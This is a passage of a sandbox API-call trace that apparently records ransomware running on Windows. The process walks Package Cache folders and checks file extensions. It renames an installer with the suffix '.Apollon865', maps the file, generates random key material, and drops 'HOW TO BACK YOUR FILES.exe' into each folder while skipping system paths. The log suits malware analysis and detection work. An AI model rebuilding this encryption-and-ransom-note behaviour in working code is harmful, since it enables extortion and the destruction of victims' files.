	[0070.755] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0070.755] lstrlenW (lpString="spq") returned 3
	[0070.755] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0070.755] lstrlenW (lpString="te") returned 2
	[0070.756] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0070.756] lstrlenW (lpString="teacher") returned 7
	[0070.756] lstrcmpiW (lpString1="x86.msi", lpString2="teacher") returned 1
	[0070.756] lstrlenW (lpString="tmd") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0070.756] lstrlenW (lpString="tps") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0070.756] lstrlenW (lpString="trc") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0070.756] lstrlenW (lpString="trc") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0070.756] lstrlenW (lpString="trm") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0070.756] lstrlenW (lpString="udb") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0070.756] lstrlenW (lpString="udl") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0070.756] lstrlenW (lpString="usr") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0070.756] lstrlenW (lpString="v12") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0070.756] lstrlenW (lpString="vis") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0070.756] lstrlenW (lpString="vpd") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0070.756] lstrlenW (lpString="vvv") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0070.756] lstrlenW (lpString="wdb") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0070.756] lstrlenW (lpString="wmdb") returned 4
	[0070.756] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0070.756] lstrlenW (lpString="wrk") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0070.756] lstrlenW (lpString="xdb") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0070.756] lstrlenW (lpString="xld") returned 3
	[0070.756] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0070.756] lstrlenW (lpString="xmlff") returned 5
	[0070.757] lstrcmpiW (lpString1="6.msi", lpString2="xmlff") returned -1
	[0070.757] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865") returned 156
	[0070.757] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.apollon865"), dwFlags=0x1) returned 1
	[0070.766] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0070.766] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=143360) returned 1
	[0070.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0070.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0070.767] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0070.767] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0070.768] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0070.768] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.768] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23300, lpName=0x0) returned 0xd8
	[0070.770] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23300) returned 0x120000
	[0070.810] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0070.810] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0070.810] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0070.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0070.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0070.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0070.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0070.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0070.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0070.811] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0070.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0070.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0070.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0070.811] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0070.812] CloseHandle (hObject=0xd8) returned 1
	[0070.812] CloseHandle (hObject=0x100) returned 1
	[0070.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0070.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0070.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0070.813] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeab3900, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfeab3900, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfeab3900, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0070.813] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0070.813] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7cb0
	[0070.813] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0070.813] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afba8 | out: hHeap=0x580000) returned 1
	[0070.813] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0070.814] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 83
	[0070.814] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0070.814] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0070.814] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0070.814] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0070.814] GetLastError () returned 0x20
	[0070.814] Sleep (dwMilliseconds=0xc8) 
	[0071.015] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0071.016] GetLastError () returned 0x20
	[0071.016] Sleep (dwMilliseconds=0xc8) 
	[0071.232] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0071.232] GetLastError () returned 0x20
	[0071.232] Sleep (dwMilliseconds=0xc8) 
	[0071.457] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0071.457] GetLastError () returned 0x20
	[0071.457] Sleep (dwMilliseconds=0xc8) 
	[0071.660] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0071.660] GetLastError () returned 0x20
	[0071.660] Sleep (dwMilliseconds=0xc8) 
	[0071.855] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.856] GetLastError () returned 0x0
	[0071.856] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0071.856] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0071.856] CloseHandle (hObject=0xc0) returned 1
	[0071.856] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0071.856] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.856] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0071.857] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.857] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.857] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.857] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.857] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.858] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.858] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.858] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.858] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5a0590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.858] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.858] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0071.858] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0071.858] lstrlenW (lpString="packages") returned 8
	[0071.858] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*") returned 85
	[0071.858] lstrcpyW (in: lpString1=0x119e6b0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0071.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0071.858] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0071.858] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x5b7c50
	[0071.858] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0071.858] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0071.858] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
	[0071.858] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0071.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0071.858] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc88 | out: hHeap=0x580000) returned 1
	[0071.858] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned 92
	[0071.859] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0071.859] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.859] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0071.859] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0071.860] GetLastError () returned 0x0
	[0071.860] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0071.860] ReadFile (in: hFile=0xc0, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0071.860] CloseHandle (hObject=0xc0) returned 1
	[0071.860] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0071.860] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.860] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0071.860] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.860] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.860] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.860] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.860] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.860] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.860] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.860] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.860] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5a0590, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.860] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.860] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1
	[0071.860] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.860] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="Apollon865.txt.exe") returned 1
	[0071.860] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2=".") returned 1
	[0071.860] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="..") returned 1
	[0071.860] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="windows") returned -1
	[0071.860] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="bootmgr") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="temp") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="pagefile.sys") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="boot") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ids.txt") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="ntuser.dat") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="perflogs") returned 1
	[0071.861] lstrcmpiW (lpString1="vcRuntimeMinimum_x86", lpString2="MSBuild") returned 1
	[0071.861] lstrlenW (lpString="vcRuntimeMinimum_x86") returned 20
	[0071.861] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*") returned 94
	[0071.861] lstrcpyW (in: lpString1=0x119e6c2, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0071.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0071.861] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe4) returned 0x5a3168
	[0071.861] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fc90 | out: ListHead=0x5b75f0, ListEntry=0x59fc90) returned 0x5b7c50
	[0071.861] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0071.861] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0071.861] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fc90
